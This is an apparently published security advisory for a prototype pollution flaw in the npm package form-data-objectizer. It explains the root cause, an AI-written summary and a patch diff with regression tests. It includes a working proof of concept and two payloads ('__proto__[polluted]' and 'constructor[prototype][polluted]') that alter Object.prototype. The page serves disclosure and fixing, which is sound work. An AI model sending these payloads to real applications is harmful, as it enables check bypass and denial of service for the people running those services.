VYPR
High severity8.2NVD Advisory· Published May 18, 2026· Updated May 18, 2026

form-data-objectizer: Prototype pollution in form-data-objectizer via bracket-notation form keys

CVE-2026-46510

Description

Summary

form-data-objectizer walks bracket-notation form keys (e.g. name[sub]) into nested objects without filtering __proto__, constructor, or prototype. A single HTTP form field whose name starts with __proto__[...] causes the library to mutate Object.prototype, which is a prototype pollution primitive of the entire Node.js process.

The bug is in treatInitial and treatSecond inside index.cjs:

if (inputName in result) {           // 'in' walks the prototype chain, so '__proto__' matches
  newResult = result[inputName]      // newResult === Object.prototype
}
// ...
result[key] = value                  // sets the property on Object.prototype

With the form key __proto__[polluted] and value yes:

  1. treatInitial matches inputName = "__proto__", rest = "[polluted]".
  2. "__proto__" in result is true (inherited), so newResult = result["__proto__"], which is Object.prototype.
  3. treatSecond recurses with key = "polluted", newRest = "", and assigns Object.prototype.polluted = "yes".

Affected versions

  • form-data-objectizer <= 1.0.0 (currently the only published version)

Patched

Not yet. Suggested fix: reject any segment equal to __proto__, constructor, or prototype before walking into result[inputName] / result[key]. Either throw or skip the entry.

Minimum patch in treatInitial and treatSecond:

const REJECT = new Set(['__proto__', 'constructor', 'prototype']);
if (REJECT.has(inputName) || REJECT.has(key)) {
  return; // or throw
}

Using Object.create(null) for the result object would also work since it has no prototype to pollute, but the key === '__proto__' direct write still needs guarding.

Proof of concept

Fresh install on Node 18+:

mkdir pp-fdo && cd pp-fdo
npm init -y
npm install form-data-objectizer@1.0.0
// poc.js
const FormDataToObject = require('form-data-objectizer');

const form = new FormData();
form.append('username', 'alice');
form.append('__proto__[polluted]', 'yes');

FormDataToObject.toObject(form);
console.log(({}).polluted); // -> 'yes'

Observed output:

package version: 1.0.0
before pollution: undefined
after pollution:  yes
parsed data:     { username: 'alice' }
confirmed:       YES, prototype polluted

The field name __proto__[polluted] is the kind of value an attacker can submit from any HTML form or HTTP client. After the call, every plain object in the process inherits polluted = 'yes'. The visible parsed output drops the malicious key, so the attack leaves no obvious trace in request logs that show parsed bodies.

A second working payload is constructor[prototype][polluted]=yes, which walks result.constructor then .prototype.

Impact

  • Default-reachable prototype pollution via a single unauthenticated HTTP form submission, in any Node.js application that uses form-data-objectizer.toObject() on incoming form data.
  • Persists for the life of the worker process and affects every subsequent request handled by the same process.
  • Direct downstream consequences depend on the host application and the rest of its dependency tree, but typical risks include: bypassing if (obj.isAdmin) style checks, injecting unintended config values into objects merged with user input, breaking template rendering, and crashing the worker by polluting properties used by other libraries (DoS).

CVSS

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L (8.2, High)

Integrity is High because the primitive lets the attacker change the meaning of property reads on every object in the process. Confidentiality is None and Availability is Low without a named downstream gadget; both could be higher in a specific consuming app.

Credit

Reported by Mohamed Bassia (@0xBassia).

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

form-data-objectizer <=1.0.0 lacks sanitization of bracket-notation form keys, allowing attacker-controlled `__proto__` segments to pollute Object.prototype.

Vulnerability

The form-data-objectizer library (version 1.0.0 and earlier) converts FormData entries with bracket-notation keys into nested JavaScript objects. The internal functions treatInitial and treatSecond in index.cjs use the in operator to check if a key exists on the result object and then directly assign to result[key]. Because the in operator traverses the prototype chain, a key like __proto__ is always considered present, leading result['__proto__'] to resolve to Object.prototype. Any subsequently assigned key (e.g., polluted) is then written onto Object.prototype itself, achieving prototype pollution. The library does not filter dangerous prototype property names such as __proto__, constructor, or prototype [1][3].

Exploitation

An attacker only needs to submit a single FormData entry with a crafted key such as __proto__[polluted] and an arbitrary value, e.g., yes. When the application calls FormDataToObject.toObject(form) or similar processing, the library internally parses the key: treatInitial matches inputName = '__proto__' and rest = '[polluted]'; because '__proto__' in result is true (inherited), newResult = result['__proto__'] is set to Object.prototype; then treatSecond recurses with key = 'polluted' and assigns Object.prototype.polluted = 'yes'. No authentication, special network position, or user interaction beyond triggering the vulnerable form parsing is required; the bug is triggered during normal server-side processing of the form payload [1][3].

Impact

Successful exploitation yields global prototype pollution of the Node.js process. The attacker can arbitrarily add or modify properties on Object.prototype, which affect every object that does not have an own property of the same name. This can lead to downstream impacts such as property injection, denial of service, or – depending on how the polluted property is used in other parts of the application – arbitrary code execution (e.g., if the polluted property is consumed as a configuration option or function parameter). The compromise occurs at the application level with no privilege separation; the attacker essentially gains a write primitive over the shared object prototype [1][3].

Mitigation

As of the publication date (2026-05-18), no official patched version of form-data-objectizer has been released. The commit [2] introduces a fix that: (a) rejects exact path segments equal to __proto__, constructor, or prototype via an assertSafeKeySegment check; (b) replaces the in operator with Object.prototype.hasOwnProperty.call() to avoid traversing the prototype chain. Users should apply this patch manually or update to the next available release once published. A workaround while waiting for a fix is to validate or strip dangerous key segments from FormData entries before passing them to the library, or to avoid using the library on untrusted form data altogether [1][2][3][4].

AI Insight generated on May 21, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Patches

1
7c54b99408e6

Fix prototype pollution in form keys

3 files changed · +78 2
  • index.cjs+22 2 modified
    @@ -1,3 +1,15 @@
    +const unsafeKeySegments = new Set(["__proto__", "constructor", "prototype"])
    +
    +function assertSafeKeySegment(key) {
    +  if (unsafeKeySegments.has(key)) {
    +    throw new Error(`Unsafe form key segment: ${key}`)
    +  }
    +}
    +
    +function hasOwn(object, key) {
    +  return Object.prototype.hasOwnProperty.call(object, key)
    +}
    +
     module.exports = class FormDataToObject {
       static toObject(formData) {
         const formDataToObject = new FormDataToObject(formData)
    @@ -40,9 +52,11 @@ module.exports = class FormDataToObject {
           const inputName = firstMatch[1]
           const rest = firstMatch[2]
     
    +      assertSafeKeySegment(inputName)
    +
           let newResult
     
    -      if (inputName in result) {
    +      if (hasOwn(result, inputName)) {
             newResult = result[inputName]
           } else if (rest == "[]") {
             newResult = []
    @@ -54,6 +68,8 @@ module.exports = class FormDataToObject {
     
           this.treatSecond(value, rest, newResult)
         } else {
    +      assertSafeKeySegment(key)
    +
           result[key] = value
         }
       }
    @@ -68,9 +84,13 @@ module.exports = class FormDataToObject {
         if (rest == "[]") {
           result.push(value)
         } else if (newRest == "") {
    +      assertSafeKeySegment(key)
    +
           result[key] = value
         } else {
    -      if (typeof result == "object" && key in result) {
    +      assertSafeKeySegment(key)
    +
    +      if (typeof result == "object" && hasOwn(result, key)) {
             newResult = result[key]
           } else if (newRest == "[]") {
             newResult = []
    
  • README.md+4 0 modified
    @@ -22,3 +22,7 @@ expect(object).toEqual({
       }
     })
     ```
    +
    +## Security
    +
    +Form keys containing `__proto__`, `constructor`, or `prototype` as an exact path segment are rejected to prevent prototype pollution. For example, `__proto__[polluted]` and `constructor[prototype][polluted]` throw an error instead of walking into inherited object prototypes.
    
  • spec/form-data-objectizer-spec.cjs+52 0 modified
    @@ -1,7 +1,25 @@
     const FormData = require("./support/fake-form-data.cjs")
     const FormDataObjectizer = require("../index.cjs")
     
    +function formDataWithEntries(entries) {
    +  return {
    +    entries() {
    +      return entries
    +    }
    +  }
    +}
    +
    +function expectUnsafeFormKey(formKey, unsafeKeySegment) {
    +  const formData = formDataWithEntries([[formKey, "yes"]])
    +
    +  expect(() => FormDataObjectizer.toObject(formData)).toThrowError(Error, `Unsafe form key segment: ${unsafeKeySegment}`)
    +}
    +
     describe("form-data-objectizer", () => {
    +  afterEach(() => {
    +    delete Object.prototype.polluted
    +  })
    +
       it("converts nested keys", () => {
         const formData = new FormData()
     
    @@ -25,4 +43,38 @@ describe("form-data-objectizer", () => {
           }
         })
       })
    +
    +  it("rejects __proto__ bracket keys without polluting Object.prototype", () => {
    +    expectUnsafeFormKey("__proto__[polluted]", "__proto__")
    +    expect({}.polluted).toBeUndefined()
    +  })
    +
    +  it("rejects constructor prototype bracket keys without polluting Object.prototype", () => {
    +    expectUnsafeFormKey("constructor[prototype][polluted]", "constructor")
    +    expect({}.polluted).toBeUndefined()
    +  })
    +
    +  it("rejects unsafe direct keys", () => {
    +    for (const key of ["__proto__", "constructor", "prototype"]) {
    +      expectUnsafeFormKey(key, key)
    +    }
    +  })
    +
    +  it("rejects unsafe nested keys", () => {
    +    for (const key of ["__proto__", "constructor", "prototype"]) {
    +      expectUnsafeFormKey(`user[${key}][polluted]`, key)
    +    }
    +  })
    +
    +  it("parses inherited non-reserved names as own properties", () => {
    +    const formData = formDataWithEntries([["toString[value]", "yes"]])
    +
    +    const object = FormDataObjectizer.toObject(formData)
    +
    +    expect(object).toEqual({
    +      toString: {
    +        value: "yes"
    +      }
    +    })
    +  })
     })
    

Vulnerability mechanics

Synthesis attempt was rejected by the grounding validator. Re-run pending.

References

3

News mentions

0

No linked articles in our index yet.